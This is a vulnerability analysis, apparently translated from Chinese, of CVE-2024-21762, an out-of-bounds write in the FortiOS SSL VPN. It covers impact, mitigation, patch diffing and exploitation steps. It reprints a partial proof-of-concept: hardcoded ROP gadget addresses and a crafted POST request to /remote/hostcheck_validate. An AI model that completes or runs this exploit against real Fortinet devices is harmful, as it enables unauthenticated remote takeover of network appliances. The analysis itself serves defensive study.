
CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。
CVE-2024-21762 is a critical vulnerability in Fortinet's FortiOS and FortiProxy products, located in their SSL VPN component. This vulnerability allows unauthenticated remote attackers to execute arbitrary code or commands on the target system through specially crafted HTTP requests, potentially leading to full system compromise.
Impact: Due to this vulnerability, attackers can remotely execute arbitrary code without requiring any authentication, thereby gaining complete control over affected devices. This can lead to sensitive data leakage, service disruption, and even further network attacks.
Attack Method: The primary method attackers use to exploit this vulnerability is sending specially crafted HTTP requests that trigger an out-of-bounds write vulnerability in the SSL VPN component. Specifically, attackers can manipulate in-memory data through carefully constructed requests, ultimately achieving remote code execution.
Mitigation: To prevent attacks exploiting this vulnerability, it is recommended to immediately upgrade FortiOS and FortiProxy to the latest official security versions. Additionally, disabling the SSL VPN feature serves as a temporary mitigation measure.
CVE-2024-21762 is a high-severity vulnerability in Fortinet FortiOS SSL VPN, classified as an unauthorized out-of-bounds write vulnerability. The vulnerability can be exploited for remote code execution (RCE), posing a threat to enterprise network security.
FortiGate released updates in February 2024 to patch multiple medium- and high-severity vulnerabilities. Among them, this article focuses on analyzing the exploitation process of CVE-2024-21762, including how to leverage this vulnerability to achieve remote code execution.
The following PoC code was provided by assetnote and demonstrates the basic steps for exploiting this vulnerability.
# Simplified exploit code snippet
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00" # SSL handshake pointer
getcwd_ptr = b"%70%62%2c%04%00%00%00%00" # getcwd function pointer
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # pivot instruction set 1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # pivot instruction set 2
rop = b"" # ROP chain
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... remaining ROP chain content omitted
# Forged request data
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body
# Send forged request
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
By comparing the binary files of FortiOS 7.4.2 and 7.4.3, the fix is located in the function sub_18F4980. The patch focuses on the following two points:
chunk format, a validation check for the chunk length was added. If the decoded length exceeds 16, it is considered invalid.chunk trailer was fixed to prevent out-of-bounds writes of \r\n.Triggering the Out-of-Bounds Write:
chunk, if the length field decodes to 0, it triggers a read of the chunk trailer.chunk trailer, \r\n is written to the stack based on the length field.0s, it triggers an out-of-bounds write of \r\n near the return address.Stack Overflow and Hijacking:
chunk data, the return address on the stack can be overwritten, achieving control-flow hijacking.Although hijacking can be achieved via a ROP chain, /bin/sh in the FortiGate main program does not have the capability to directly execute commands, so other exploitable functions need to be identified. For example, by forging struct pointers, SSL_do_handshake can be leveraged for further attacks.
Even under default configuration (with Web mode disabled), this vulnerability can still be exploited.

CVE-2024-21762 is a highly complex vulnerability whose exploitation requires an in-depth understanding of FortiOS's code logic and memory layout. Compared to traditional CTF challenges, exploiting real-world vulnerabilities requires more complex context and structural analysis.
The author has provided a more detailed Chinese analysis article, which can be referenced here: Original Article